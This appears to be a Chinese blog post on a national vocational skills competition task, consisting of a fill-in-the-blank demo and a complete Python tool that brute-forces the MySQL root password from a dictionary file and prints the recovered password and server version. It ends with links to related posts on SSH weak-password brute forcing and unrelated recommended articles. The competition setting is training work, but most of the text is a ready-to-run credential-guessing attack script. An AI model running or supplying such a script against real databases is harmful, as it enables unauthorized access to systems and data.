全国职业技能大赛信息安全管理与评估-MySQL爆破脚本
DEMO:
#coding=utf-8
import MySQLdb
class MSSQL:
def __init__(self,host,user,pwd):
self.host = host
self.user = user
self.pwd = pwd
def connect_dp(self):
conn = MySQLdb.connect(host=self.host,port=Flag3, user=Flag4,passwd=self.pwd,db='mysql',)
cur = conn.cursor()
if not cur:
raise(NameError,"failed connect to sql server")
else:
return self.pwd
def main():
fp = open('/root/superdic.txt','r')
for password in fp.readlines():
try:
a = MSSQL(host=Flag1,user='root',pwd=Flag2)
ms = a.connect_dp()
print password.strip()
except:
pass
if not s:
print 'brute failed'
fp.close()
if __name__ == '__main__':
main()
#Flag1 = "127.0.0.1"
#Flag2 = password.strip()
#Flag3 = 3306
#Flag4 = self.user
分析赛题:
赛题主要是考察了类的传参和读写文件时候的去除换行符
代码是分析赛题后构思实现, 因为是自己想到哪写到那,哪里不会百度哪里,就出了一堆BUG~~MMP
函数:
0.printBanner()打印出banenr信息 没什么卵用
1.sqlConnect()核心函数,使用pymysql库连接mysql数据库,这里需要注意下端口是int,还有一点是使用connect函数的时候,如果要指定端口,最好写成host=szhost,port=szport,这种=号的传参方式
mysql密码错误抛出的异常是
pymysql.err.OperationalError: (1045, "Access denied for user 'root'@'192.168.64.130' (using password:YES)")
我用了 "1045" in "抛出的异常" 来判断是否是密码错误,绝对不能直接except出去,因为这个函数会抛出很多异常,比如端口连接失败.连接成功后我执行了一条sql语句用来查询数据库的版本 对~这条语句也会抛出异常 但是这个我没有except~毕竟是个玩具写的老累了.我换了另一种方式,只要是1045错误的异常我都判断成密码认证错误,如果是其他的异常就完整打印出来信息,如果说用户体验什么的话·的确一堆乱七八糟的异常信息会让人很不舒服,但~这是个玩具~~~这样我查错就更方便了..
2.connectTest()连接mysql之前首先判断端口是否能连接
代码逻辑:
参数检查:
0.检查-i和-d后是否带参数 False=》exit() print(help) True=> 去 1
1.检查-p后是否带参数,False=》使用默认的3306端口 True =》使用指定的端口
2.使用connectTest函数检查目标端口是否开放 False =》exit() print("端口未开放") True => 去3
3.检查字典文件是否存在 False=》exit() print("字典文件无法打开") True=>去4
4.打开字典文件
5.用for in 递归字典文件代码每一行 赋值给另一个变量 这个变量作为密码传进sqlconnect函数
#!/usr/bin/python3 import pymysql
import os
import optparse
import socket
import sys
import time
import threading
count = 0
def printBanner():
banner = '''
_____ _ _ ____ _ __ __ ____ ______ ___ _
| ___| | | |/ ___| |/ / | \/ \ \ / / ___| / _ \| |
| |_ | | | | | | ' /_____| |\/| |\ V /\___ \| | | | |
| _| | |_| | |___| . \_____| | | | | | ___) | |_| | |___
|_| \___/ \____|_|\_\ |_| |_| |_| |____/ \__\_\_____|
v1.0 R4bbit'''
print("\033[0;31m"+banner+"\033[0m");
def connectTest(host,port):
socket.setdefaulttimeout(0.1)
ser = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
ser.connect((host,port)) #链接成功 记得close()
print("[+] Target Port:%d" % port)
time.sleep(1)
print("[3]..........");
time.sleep(1)
print("[2]..........");
time.sleep(1)
print("[1]..........");
ser.close();
return True;
except Exception as e:
print("目标端口无法访问");
# print("Error"+str(e));
return False; def sqlConnect(szhost,szport,szpassword): #链接默认的数据库名Mysql
global count
count += 1
sql = "select version();"
try:
db = pymysql.connect(host=szhost,port=szport,user="root",password=szpassword,db="mysql")
cursor = db.cursor() #获取mysql游标
if cursor:
#print("\n")
cursor.execute(sql)
mysql_ver = cursor.fetchone();
szStr = "Password is:"+"\033[0;31m"+szpassword+"\033[0m"
print("\r"+szStr)
print("MysqlVersion():\033[01;31m%s\033[0m" %(mysql_ver))
exit()
# cursor.execute(sql);
except Exception as e:
#1045 密码错误 去匹配这个1045
if "" in str(e):
print("\r[%d]:%s" % (count,szpassword),end=".");
else:
print("[-] Error %s" % str(e)); def main():
printBanner();
parser = optparse.OptionParser("Usage -i <ip> -p <port> -d <dict_file>");
parser.add_option('-i',dest='ip',type='string',help = 'ip no')
parser.add_option('-p',dest ='port',type = 'string',help = 'port no')
parser.add_option('-d',dest='dict_file',type='string',help = 'no dict')
(options,arg) = parser.parse_args()
if(options.ip == None) | (options.dict_file == None):
print(parser.usage)
exit()
mysql_ip = options.ip;
if(options.port == None): #如果没有给出端口 默认就是3306
mysql_port = 3306;
print("[+] Use Default Mysql Port:%d" % mysql_port)
else:
mysql_port = int(options.port)
print("[+] Use Mysql Port:%d" % mysql_port)
mysql_dict = options.dict_file;
print("[+] Use DictFile:%s" % mysql_dict)
#判断目标端口是否开放
time.sleep(2);
if connectTest(mysql_ip,mysql_port):
if not os.path.exists(mysql_dict):
print("[-] %s字典文件 无法访问" % mysql_dict)
exit(1)
fp = open(mysql_dict,"r")
for mysql_pass in fp.readlines():
sqlConnect(mysql_ip,mysql_port,mysql_pass.strip()) if __name__ == '__main__':
main();

全国职业技能大赛信息安全管理与评估-MySQL爆破脚本的更多相关文章
- 全国职业技能大赛信息安全管理与评估-MySQL弱口令利用
MySQL读文件 #coding=utf-8 import MySQLdb host = '172.16.1.' for i in range(129,131): tag = host+str(i) ...
- 全国职业技能大赛信息安全管理与评估-第三阶段-弱口令自动爆破+读取Flag脚本
自动爆破SSH弱口令+读取Flag #coding=utf-8 import paramiko sshc = paramiko.SSHClient() sshc.set_missing_host_ke ...
- 全国职业技能大赛信息安全管理与评估-一些细节tips
Base64加解密: ubuntu@VM-0-5-ubuntu:~$ echo iloveyou | base64aWxvdmV5b3UKubuntu@VM-0-5-ubuntu:~$ echo aW ...
- 关于[神州数码信息安全DCN杯/信息安全管理与评估]的一些经验之谈
前阵子参加了神州数码的比赛,赛后有如下经验分享,给还没参加过的朋友分享一下心德以及要注意的坑. 先科普一下这个比赛的三个阶段: 第一阶段主要是考网络部分的,例如搭建wifi以及防火墙诸如此类的设备. ...
- 深圳即将启动首届「全国人工智能大赛」:超过 500 万大奖 & 政府资助,潜信息你读懂了吗!
人工智能加速“视频/视觉”发展,近期,深圳市即将迎来人工智能领域权威赛事之一——首届「全国人工智能大赛」(The First National Artificial Intelligence Chal ...
- ISO27001信息安全管理体系
0x00 前言 初入甲方,刚开始接触的应该就是ISO27001信息安全管理体系,你拿到的应该就是一整套安全管理类的文档.在甲方,稍微有点规模的公司很注重制度和流程,岗位职责分工明细,那么这些安全管理制 ...
- NISP二级笔记(一) 信息安全管理
ISO27001 信息安全管理体系要求 ISO27002 信息安全控制措施(实用规则) ISO27003 信息安全管理体系实施指南 ISO27004 信息安全管理测量 ISO27005 信息安全风险管 ...
- (java)Jsoup爬虫学习--获取智联招聘(老网站)的全国java职位信息,爬取10页
Jsoup爬虫学习--获取智联招聘(老网站)的全国java职位信息,爬取10页,输出 职位名称*****公司名称*****职位月薪*****工作地点*****发布日期 import java.io.I ...
- 怎么启用apache的mod_log_sql模块将所有的访问信息直接记录在mysql中
怎么启用apache的mod_log_sql模块将所有的访问信息直接记录在mysql中
随机推荐
- 最新中文版虚拟机VMware Workstation隆重上市
vmware虚拟机 在虚拟机软件中VMware Workstation算是一款非常强大较稳定的软件了,今天 VMware Workstation 10.0正式发布了,最让人欣喜的是该版本终于有了简体中 ...
- 接轨国际,碰撞更多科研火花——第八届ChinaSys大会专访微软亚洲研究院首席研究员张霖涛
作者:微软亚洲研究院实习生 徐祎雪 卢思奇 2015年6月5日至6日,由中国科学院深圳先进技术研究院先进计算与数字工程研究所主办的第八届中国计算机系统(ChinaSys)学术研讨会在厦门大学召开.来自 ...
- wxpython(2)--按钮,位图按钮,滑动块,微调控制器
本文介绍按钮,位图按钮,滑动块,微调控制器**.. 按钮 基本按钮 创建一个按钮,绑定点击事件,点击后修改Label 123456789101112131415161718 import wx cla ...
- Canvas和svg总结比较
Canvas 基本用法 getContext() 描边和填充 strokeStyle:设置描边样式fillStyle:设置填充样式stroke():描边fill():填充 绘制矩形 fillRect( ...
- JavaScript 核心学习——继承
本篇博文讲述如何在 JavaScript 中实现继承,以及原型与原型链的知识,在附录中将会讲述 JavaScript 面向对象的常见错误. ##原型与原型链在 JavaScript 中,使用类将会付出 ...
- 使用pandas筛选出指定列值所对应的行
在pandas中怎么样实现类似mysql查找语句的功能: select * from table where column_name = some_value; pandas中获取数据的有以下几种方法 ...
- 查看python库文档
安装完python第三方库以后,经常需要查询其文档,其实python就自带文档查看器.可以查看所有内置库和第三方库的文档,虽然不是很详尽,但是总比没有的好. 在命令行窗口 python -m pydo ...
- C++走向远洋——65(十五周、项目一)
*/ * Copyright (c) 2016,烟台大学计算机与控制工程学院 * All rights reserved. * 文件名:text.cpp * 作者:常轩 * 微信公众号:Worldhe ...
- 【视频+图文】带你快速掌握Java中含break语句的双重for循环
双重for循环掌握后,我们就一起来看看双重for循环的进阶内容一之带break语句的双重for循环. 双重for循环[视频+图文]讲解传输门:点击这里可去小乔的哔哩哔哩观看~ 带continue语句的 ...
- Windows 使用激活服务器激活操作步骤
最近装了win10企业版系统,总结下激活步骤,激活后是正版,半年后需要重新激活,不介意的小伙伴可以试试,这不是重点,重点是企业版超级clean...... 服务器激活系统步骤,打开cmd或者xshel ...